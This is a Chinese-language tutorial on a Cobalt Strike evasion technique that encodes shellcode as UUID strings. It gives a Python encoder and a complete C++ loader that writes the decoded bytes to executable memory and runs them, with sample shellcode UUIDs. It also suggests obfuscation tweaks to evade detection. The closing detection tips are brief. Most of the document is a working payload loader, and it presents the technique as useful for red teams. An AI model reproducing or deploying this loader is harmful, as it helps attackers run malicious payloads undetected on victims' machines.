CS免杀-UUID加载器
字数 970 2025-08-09 18:43:59
CS免杀-UUID加载器技术解析与实现
1. UUID加载器概述
UUID加载器是一种将shellcode转换为UUID格式并加载到内存中的技术,虽然不能完全免杀,但作为一种非传统的shellcode加载方式,可以绕过部分检测机制。
2. 技术原理
UUID加载器核心思想是将shellcode转换为一系列UUID字符串,然后通过系统API将这些UUID转换回二进制数据并加载执行。
2.1 UUID格式说明
- UUID是128位(16字节)的唯一标识符
- 标准格式:
xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx - 每个x代表一个十六进制数字(0-9, a-f)
2.2 转换过程
- 将原始shellcode按16字节分块
- 每16字节转换为一个UUID字符串
- 如果最后不足16字节,进行适当填充
3. 实现步骤
3.1 生成UUID格式的shellcode
import uuid
def shellcode_to_uuids(shellcode):
# 确保shellcode长度是16的倍数
if len(shellcode) % 16 != 0:
padding = b"\x90" * (16 - (len(shellcode) % 16))
shellcode += padding
uuids = []
for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i+16]
u = uuid.UUID(bytes_le=chunk)
uuids.append(str(u))
return uuids
3.2 加载器实现(C++)
#include <windows.h>
#include <rpcdce.h>
#include <iostream>
#include <vector>
// UUID字符串数组,由Python脚本生成
const char* uuids[] = {
"e48348fc-e8f0-00c0-0000-415141505251",
"d2314856-4865-528b-6048-8b5218488b52",
// 更多UUID...
};
int main() {
// 计算需要的内存大小
int total_size = sizeof(uuids) / sizeof(uuids[0]) * 16;
// 分配可读可写可执行的内存
LPVOID mem = VirtualAlloc(NULL, total_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
return -1;
}
// 将UUID转换回二进制并写入内存
DWORD_PTR ptr = (DWORD_PTR)mem;
for (int i = 0; i < sizeof(uuids) / sizeof(uuids[0]); i++) {
RPC_STATUS status;
UUID uuid;
// 将字符串UUID转换为二进制UUID
status = UuidFromStringA((RPC_CSTR)uuids[i], &uuid);
if (status != RPC_S_OK) {
VirtualFree(mem, 0, MEM_RELEASE);
return -1;
}
// 将UUID数据复制到内存
memcpy((void*)ptr, &uuid, sizeof(UUID));
ptr += 16;
}
// 执行shellcode
((void(*)())mem)();
// 释放内存
VirtualFree(mem, 0, MEM_RELEASE);
return 0;
}
4. 技术特点分析
4.1 优点
- 非传统加载方式:不同于常见的直接内存写入或文件映射方式
- API调用合法:使用系统提供的UUID相关API,行为看起来合法
- 内存特征不明显:shellcode在内存中不以连续形式存在
4.2 局限性
- 不完全免杀:现代EDR仍可能检测到可疑的内存分配和执行模式
- 大小限制:每个shellcode块必须为16字节的倍数
- API监控:UuidFromString等API调用可能被监控
5. 增强免杀能力的改进方案
5.1 动态生成UUID
- 运行时动态计算部分UUID,而非硬编码
- 使用环境变量或其他输入源生成部分UUID
5.2 API调用混淆
// 使用动态加载方式调用UuidFromStringA
typedef RPC_STATUS (RPC_ENTRY *UuidFromStringAFunc)(RPC_CSTR, UUID*);
HMODULE hRpcrt4 = LoadLibraryA("rpcrt4.dll");
UuidFromStringAFunc pUuidFromStringA = (UuidFromStringAFunc)GetProcAddress(hRpcrt4, "UuidFromStringA");
5.3 内存操作混淆
- 分多次分配内存,而非单次大块分配
- 使用不同内存权限分阶段操作
6. 防御检测建议
- 监控可疑的UUID转换操作:特别是连续多次UuidFromString调用后立即执行内存
- 检查非常规内存分配模式:分配可执行内存后立即写入大量UUID转换数据
- 行为分析:结合其他行为特征进行综合判断
7. 总结
UUID加载器提供了一种将shellcode转换为合法格式的独特方法,虽然不能完全免杀,但作为技术研究和对传统检测方法的绕过尝试,具有参考价值。安全研究人员应了解此类技术以改进防御策略,而红队人员则可用于扩展攻击技术库。